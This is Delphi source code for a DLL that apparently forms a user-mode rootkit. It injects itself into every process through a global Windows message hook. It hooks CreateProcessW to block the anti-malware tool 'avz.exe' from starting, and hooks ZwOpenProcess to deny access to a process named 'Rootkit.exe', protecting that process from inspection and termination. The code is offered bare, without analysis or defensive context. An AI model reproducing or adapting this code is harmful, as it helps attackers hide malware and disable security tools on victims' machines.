function NewCreateProcessW(lpApplicationName: PWideChar; lpCommandLine: PWideChar; lpProcessAttributes, lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation): BOOL; stdcall; begin if (ExtractFileName(lpApplicationName)= 'avz.exe') then Result:= False else Result := TrueCreateProcessW(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation); end;
Function TrueZwOpenProcess(phProcess:PDWORD; AccessMask:DWORD;ObjectAttributes:PObjectAttributes; ClientID:PClientID):NTStatus;stdcall; begin WriteProcessMemory(INVALID_HANDLE_VALUE,PFunc,@OldFunc,sizeof(Oldcode),b); Result:= ZwOpenProcess(phProcess,AccessMask,ObjectAttributes,ClientID); WriteProcessMemory(INVALID_HANDLE_VALUE,PFunc,@NewFunc,sizeof(far_jmp),b); end;
Function NewZwOpenProcess(phProcess:PDWORD;AccessMask:DWORD;ObjectAttributes:PObjectAttributes; ClientID:PClientID):NTStatus;stdcall; begin if (ClientID<>nil) and (ClientID.UniqueProcess=pid) then begin Result:=STATUS_ACCESS_DENIED; exit; end; Result:= TrueZwOpenProcess(phProcess,AccessMask,ObjectAttributes,ClientID); end;
function GetProcessId(ExeName: string): DWORD; var snap : DWORD; pe : TprocessEntry32; begin result:=0; snap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if snap <>INVALID_HANDLE_VALUE then begin pe.dwSize:=sizeof(TPROCESSENTRY32); if process32First(snap,pe) then repeat if pe.szExeFile = exename then begin result:= pe.th32ProcessID; closehandle(snap); exit; end; until not process32Next(snap,pe); closehandle(snap); result:=0; end; end;
procedure GetPID; begin pid:= GetProcessID('Rootkit.exe'); end;
function MessageProc(code : integer; wParam : word; lParam : longint) : longint; stdcall; begin CallNextHookEx(0,code,wParam,lParam); end;
procedure SetGlobalHookProc(); begin SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0); Sleep(INFINITE) end;
procedure SetGlobalHook(); var hMutex: dword; TrId: dword; begin hMutex := CreateMutex(nil, false, '[{ADA5458-6AB8-7C4D-88BA-44A06478C676}]'); if GetLastError = 0 then CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId) else CloseHandle(hMutex) end;
procedure DLLEntryPoint(dwReason: DWord); begin case dwReason of DLL_PROCESS_ATTACH: begin GetPID; SetHook; SetGlobalHook; end; DLL_PROCESS_DETACH: begin UnHook; end; end; end;
begin DllProc:= @DLLEntryPoint; DLLEntryPoint(DLL_PROCESS_ATTACH); end.
